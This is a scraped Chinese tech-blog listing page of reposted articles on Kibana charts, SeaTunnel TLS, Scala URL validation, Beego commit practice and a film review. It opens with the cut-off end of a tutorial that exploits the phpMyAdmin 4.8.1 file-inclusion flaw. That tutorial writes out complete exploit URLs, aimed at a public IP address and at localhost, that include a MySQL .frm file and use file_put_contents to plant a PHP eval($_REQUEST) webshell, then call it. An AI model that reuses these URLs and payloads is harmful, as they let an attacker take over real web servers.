http://59.63.200.79:8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm&a=file_put_contents(‘8.php’,’<?php eval($_REQUEST[a])?>’); <?php eval($_REQUEST[a])?>注意,这里面没有分号和单引号 写入成功后,我们连接这个8.php的木马。 http://59.63.200.79:8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/8.php 在线测试时这样,但是我在本地测试的时候,还是有点不一样的。我就直接上不一样的地方,前面的地方都是一样的 1,创建一个库为yingqian1984, 2,创建一个表为yq1984 3,填充表数据,因为跟上面一样,2个字段一个木马,一个随便数据 4,找数据表的位置,最后我发现我的MySQL存放数据库的地方是在 C:\ProgramData\MySQL\MySQL Server 5.7\Data\yingqian1984 文件包含成功。 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/ProgramData/MySQL/MySQL Server 5.7/Data/yingqian1984/qy1984.frm&a=phpinfo(); 用file_put_contents(‘9.php’,’<?php eval($_REQUEST[a]);?>’)写入一句话木马 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/ProgramData/MySQL/MySQL Server 5.7/Data/yingqian1984/qy1984.frm&a=file_put_contents(‘9.php’,’<?php eval($_REQUEST[a])?>’); <?php eval($_REQUEST[a])?>注意,这里面没有分号和单引号 传参成功 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/9.php?a=phpinfo(); 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_45300786/article/details/108724251。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-01-06 09:10:40
343
转载
Kibana
1. 引言 在进行数据分析过程中,我们常常需要将复杂的数据通过图表直观地展现出来。这时候,Kibana的可视化功能就显得尤为重要。然而,在实际操作时,咱们可能会遇到这么个状况:明明咱把数据都准确无误地输进去了,可到制作图表那一步,却发现显示出来的数据竟然对不上号,不太靠谱。那么,这到底是什么鬼情况呢?本文决定一探究竟,深入骨髓地剖析一番,并且贴心地为你准备了应对之策! 2. 数据源的问题 首先,我们需要明确一点,数据源的问题是导致Kibana可视化功能显示不准确的主要原因之一。这是因为Kibana这家伙得先从数据源那里拿到数据,然后按照咱们用户的设定,精心捯饬一番,最后才能生成那些图表给我们看。要是数据源头本身就出了岔子,比如缺胳膊少腿的数据、乱七八糟的错误数据啥的,那甭管Kibana有多牛,最后得出的结果肯定也会跟着歪楼。 代码示例: javascript var data = [ { 'name': 'John', 'age': 30, 'country': 'USA' }, { 'name': 'Anna', 'age': null, 'country': 'Canada' }, { 'name': 'Peter', 'age': 35, 'country': 'Australia' } ]; var filteredData = data.filter(function(item) { return item.age !== null; }); console.log(filteredData); 在这个示例中,我们先定义了一个包含三个对象的数据数组。然后,我们使用filter()函数过滤出年龄非null的对象。最后,我们打印出过滤后的结果。可以看出,由于Anna的数据中年龄字段为空,因此在最后的输出中被过滤掉了。 3. 用户设置的问题 其次,用户在创建图表时的选择和设置也会影响最终的结果。比如,如果我们选错数据类型,或者胡乱设置了参数,那生成的图表就可能会“跑偏”,出现不准确的情况。 代码示例: javascript var chart = new Chart(ctx, { type: 'bar', data: { labels: ['Red', 'Blue', 'Yellow', 'Green', 'Purple', 'Orange'], datasets: [{ label: ' of Votes', data: [12, 19, 3, 5, 2, 3], backgroundColor: [ 'rgba(255, 99, 132, 0.2)', 'rgba(54, 162, 235, 0.2)', 'rgba(255, 206, 86, 0.2)', 'rgba(75, 192, 192, 0.2)', 'rgba(153, 102, 255, 0.2)', 'rgba(255, 159, 64, 0.2)' ], borderColor: [ 'rgba(255, 99, 132, 1)', 'rgba(54, 162, 235, 1)', 'rgba(255, 206, 86, 1)', 'rgba(75, 192, 192, 1)', 'rgba(153, 102, 255, 1)', 'rgba(255, 159, 64, 1)' ], borderWidth: 1 }] }, options: { scales: { yAxes: [{ ticks: { beginAtZero: true } }] } } }); 在这个示例中,我们使用了Chart.js库来创建一个条形图。瞧见没,咱在捣鼓图表的时候,特意把数据类型设置成了柱状图(bar),不过呢,关于x轴和y轴的数据类型,咱们还没来得及给它们“定个位”嘞。如果我们的数据本质上是些点,也就是x轴和y轴的数据都是实打实的数字,那这个图表可就画得有点儿怪异了,让人看着感觉不太对劲。 4. 解决方案 对于以上提到的问题,我们可以采取以下几种解决方案: - 对于数据源的问题,我们需要确保数据源的质量。如果可能的话,我们应该直接从原始数据源获取数据,而不是通过中间层。此外,我们还需要定期检查和更新数据源,以保证数据的准确性。 - 对于用户设置的问题,我们需要更加谨慎地选择和设置参数。在动手画图表之前,咱们得先花点时间,像读小说那样把每个参数的含义和能接受的数值范围都摸透了,可别因为理解岔了,一不小心就把参数给设定错了。此外,我们还可以尝试使用默认参数,看看是否能得到满意的结果。 - 如果上述两种方法都无法解决问题,那么可能是Kibana本身存在bug。此时,我们应该尽快联系Kibana的开发者或者社区,寻求帮助。 总结 总的来说,Kibana的可视化功能创建图表时数据不准确的问题是由多种原因引起的。只有当我们像侦探一样,把这些问题抽丝剥茧,摸清它们的来龙去脉和核心本质,再对症下药地采取相应措施,才能真正让这个问题得到解决,从此不再是麻烦制造者。
2023-04-16 20:30:19
291
秋水共长天一色-t
SeaTunnel
...加密算法对传输的数据进行加密,确保即使数据在传输过程中被截获,攻击者也无法解读其内容。 中间人攻击(MITM,Man-in-the-Middle Attack) , 这是一种网络攻击方式,在这种攻击中,攻击者秘密地插入自己成为两方通信的中介,能够读取、修改甚至伪造双方通信的内容。在讨论SeaTunnel中的SSL/TLS加密重要性时提到,如果没有启用SSL/TLS加密连接,企业的数据就如同“透明”般在网络上传输,容易遭受中间人攻击,导致数据泄露或篡改。 Keystore与Truststore , 在Java安全体系中,Keystore是一个包含私钥和/或证书的文件,用于存储应用程序的身份信息;而Truststore则是一个包含受信任的证书或者证书颁发机构列表的文件,用以验证远程服务器的身份。在配置SeaTunnel的SSL/TLS加密连接时,需要根据实际情况生成并配置这两个文件,其中Keystore通常用于存储客户端或服务器自身的身份凭证,Truststore则用于存储可信赖的第三方证书,以实现双方之间的相互认证和数据加密传输。
2024-01-10 13:11:43
170
彩虹之上
Scala
...要从网页上抓取链接并进行进一步处理。要是链接格式不对劲,比如忘了加“http://”这样的协议头,或者是里面夹杂了一些奇怪的字符,那你创建URL对象的时候就可能会碰到MalformedURLException这个麻烦事儿。想象一下,你满怀期待地运行程序,结果却因为一个小小的URL格式错误而崩溃,那种感觉就像是你心爱的代码花园里突然被一只调皮的小猫撒了泡尿,真是让人抓狂啊! 如何避免MalformedURLException? 3. 预防措施 检查URL格式 首先,我们需要确保提供的URL字符串是有效的。最简单的方法就是在生成URL对象之前,自己先手动检查一下这个字符串是不是符合咱们想要的格式。这里我们可以借助正则表达式来完成这一任务: scala import scala.util.matching.Regex val urlRegex: Regex = """https?://[\w.-]+(/[\w.-])""".r def isValidUrl(url: String): Boolean = url match { case urlRegex() => true case _ => false } // 测试 println(isValidUrl("http://example.com")) // 输出: true println(isValidUrl("www.example.com")) // 输出: false 使用try-catch块 其次,在实际创建URL对象时,可以将这部分代码包裹在一个try-catch块中,这样即使发生MalformedURLException,程序也不会完全崩溃,而是能够优雅地处理错误: scala try { val url = new java.net.URL("http://example.com") println(s"URL is valid: $url") } catch { case e: java.net.MalformedURLException => println("MalformedURLException occurred.") } 4. 处理异常 除了基本的异常捕获之外,我们还可以采取一些额外措施来增强程序的鲁棒性。例如,在catch块内部,我们可以记录错误日志,甚至向用户提供友好的提示信息,告知他们输入的URL存在格式问题,并建议正确的格式: scala try { val url = new java.net.URL("http://example.com") println(s"URL is valid: $url") } catch { case e: java.net.MalformedURLException => println("MalformedURLException occurred. Please ensure your URL is properly formatted.") // 记录错误日志 import java.io.PrintWriter import java.io.StringWriter val sw = new StringWriter() val pw = new PrintWriter(sw) e.printStackTrace(pw) println(sw.toString) } 进阶技巧:自定义URL验证函数 5. 自定义验证逻辑 为了进一步提高代码的可读性和复用性,我们可以封装上述功能,创建一个专门用于验证URL的函数。该函数不仅会检查URL格式,还会执行一些额外的安全检查,比如防止SQL注入等恶意行为: scala import java.net.URL def validateUrl(urlString: String): Option[URL] = { if (!isValidUrl(urlString)) { None } else { try { Some(new URL(urlString)) } catch { case _: MalformedURLException => None } } } // 测试 validateUrl("http://example.com") match { case Some(url) => println(s"Valid URL: $url") case None => println("Invalid URL.") } 结论 通过本文的学习,希望大家对Scala中处理URL相关的问题有了更深刻的理解。记住,预防总是优于治疗。在写代码的时候,提前想到可能会出的各种岔子,并且想办法避开它们,这样我们的程序就能更稳当、更靠谱了。当然,面对MalformedURLException这样的常见异常,保持冷静、合理应对同样重要。希望今天的分享能帮助大家写出更好的Scala代码! 最后,别忘了在日常开发中多实践、多总结经验,编程之路虽充满挑战,但每一步都值得骄傲。祝大家代码愉快!
2024-12-19 15:45:26
23
素颜如水
Beego
...们通常会使用Git来进行版本控制。不过,要是团队里的小伙伴不按套路出牌,比如压根不用分支管理,或者是提交信息简单得让人摸不着头脑,那后续的代码管理和维护可就头大了。举个例子: bash 不正确的提交信息 $ git commit -m "修改了一些东西" 这样的提交信息没有任何具体的内容,对于后续的代码审查和维护都是不利的。正确的做法应该是提供更详细的提交信息,比如: bash $ git commit -m "修复了用户列表接口的bug,增加了错误处理逻辑" 4. 如何改进? 既然我们已经了解了不遵守代码提交规则可能带来的问题,那么接下来我们该如何改进呢? 4.1 制定并遵守统一的编码规范 首先,我们需要制定一套统一的编码规范,并确保所有团队成员都严格遵守。比如说,我们可以定个规矩,所有的字符串都得用双引号包起来,变量的名字呢,就用驼峰那种一高一低的方式起名。这不仅可以提高代码的可读性,还能减少不必要的错误。 4.2 添加必要的注释 其次,我们应该养成良好的注释习惯。在编写代码的同时,应该为重要的逻辑和接口添加详细的注释。这样,即使后续维护人员不是原作者,也能快速理解代码的意图。例如: go // 获取用户列表 // @router /api/users [get] func (this UserController) GetUserList() { users := []User{} // 假设User是定义好的结构体 this.Data["json"] = users this.ServeJSON() } 4.3 遵循版本控制的最佳实践 最后,我们还需要遵循版本控制的最佳实践。比如说,当你用分支管理功能时,提交的信息可得越详细越好,这样以后自己或别人看代码时才会更容易,审查和维护起来也更轻松。例如: bash 正确的提交信息 $ git commit -m "修复了用户列表接口的bug,增加了错误处理逻辑" 5. 结语 总之,代码提交规则的严格遵守对于Beego项目的成功至关重要。虽然开始时可能会觉得有点麻烦,但习惯了之后,你会发现这能大大提升团队的工作效率和代码质量。希望各位开发者能够认真对待这个问题,共同维护一个高质量的代码库。
2024-12-26 15:33:14
92
红尘漫步
转载文章
...我们,我们将第一时间进行核实并删除相应内容。 昨天看了这部片子,感觉一般,但还是一部可看的片子,不闷。 女杀手失忆之前挺酷的,之后感觉太柔弱了。 三个男主角都不错,不过方中信的形象应该更强悍一些才好,而千叶真一象极了邻居家的老大伯。 《孙子兵法》第六计 虚实计 …… 攻而必取者,攻其所不守也。 守而必固者,守其所必攻也。 故善攻者,敌不知其所守; 善守者,敌不知其所攻。 …… 进而不可御者,冲其虚也; 退而不可追者,速而不可及也。 故我欲战,敌虽高垒深沟,不得不与我战者,攻其所必救也; 我不欲战,虽画地而守之,敌不得与我战者,乖其所之也。 故形人而我无形,则我专而敌分。 …… 附录: 中文名称:第六计 英文名称:Explosive City 资源类型:DVDScr 发行时间:2004年11月04日 电影导演:梁德森 电影演员: 任达华 方中信 千叶真一 白田久子 彭敬慈 萧正楠 地区:香港 语言:普通话 简介: 转自TLF论坛 片名:Explosive City 译名:第六计(又名爆裂都市) 导演:梁德森 主演:任达华 方中信 千叶真一 白田久子 彭敬慈 萧正楠 时间:90分钟 类型:动作 上映日期:2004-11-4 官方网站:http://www.bakuretsu.jp/ 语言:国语 字幕:外挂中/英 剧情: (转自世纪环球在线) 某国际机场,来参加国际会议的邻埠高级官员容大刚正在与众多记者畅谈参会感 想,突然,一个神情冷漠的美貌女子从人群中闪出,只见她拔出手枪,对准容大刚连 开三枪,场内一片大乱。 机场刺杀案引起了警方极大的震惊,派来高级警务人员姚天明(方中信饰)协助 特警队张志诚(任达华饰)警司侦破此案。经过排查,行刺者是某国际恐怖组织的成员, 名叫北条真理(白田久子饰)。材料显示:北条真理生于日本的一个幸福的家庭,三 岁时被某国际恐怖组织首领“奥多桑”(千叶真一饰)看中,把她掳走,通过洗脑、 训练,使她成为恐怖组织的高级杀手。这次行动,她以记者身份潜入机场,射伤了目 标,自己也因此受伤被俘。 就在警方全力破案的同时,某国际恐怖组织的首领“奥多桑”带领部下悄悄潜入 该城,显然,他对上一次行的刺杀行动很不满意,准备亲自上阵了。在他的指挥下, 恐怖分子残忍的杀死了姚天明的太太,并绑架了他的儿子,借此要挟姚天明杀死北条 真理,姚天明在万般无奈中,执行了“奥多桑”的命令,“击毙”、劫持了北条真理, 一步步走进“奥多桑”精心设下的圈套,并因此被警方通缉。 姚天明一边躲避着警方的追捕,一边苦苦寻找“奥多桑”的足迹,寻机解救被绑 架的儿子;幸免于难的北条真理与姚天明从对立变成唇齿相依;在追击中渐渐恢复了 记忆,认出了“奥多桑”安插在警务队伍中的亲信——张志诚警司;令他们百思不得 其解的是,张警司本身就是负责保护容大刚的警卫人员,由他执行刺杀活动,不是更 稳妥吗?为什麼还要派遣北条真理进行明目张胆的刺杀活动?随着事态的发展,无意 中,姚天明在“奥多桑”钟爱的《孙子兵法》一书中发现了更大的秘密——可怕的第 六计…… 转载于:https://www.cnblogs.com/Silence/archive/2004/11/08/61332.html 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_30240349/article/details/98266532。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-05-10 09:20:27
618
转载
站内搜索
用于搜索本网站内部文章,支持栏目切换。
知识学习
实践的时候请根据实际情况谨慎操作。
随机学习一条linux命令:
history | tail -n 10
- 查看最近十条历史记录。
推荐内容
推荐本栏目内的其它文章,看看还有哪些文章让你感兴趣。
2023-04-28
2023-08-09
2023-06-18
2023-04-14
2023-02-18
2023-04-17
2024-01-11
2023-10-03
2023-09-09
2023-06-13
2023-08-07
2023-03-11
历史内容
快速导航到对应月份的历史文章列表。
随便看看
拉到页底了吧,随便看看还有哪些文章你可能感兴趣。
时光飞逝
"流光容易把人抛,红了樱桃,绿了芭蕉。"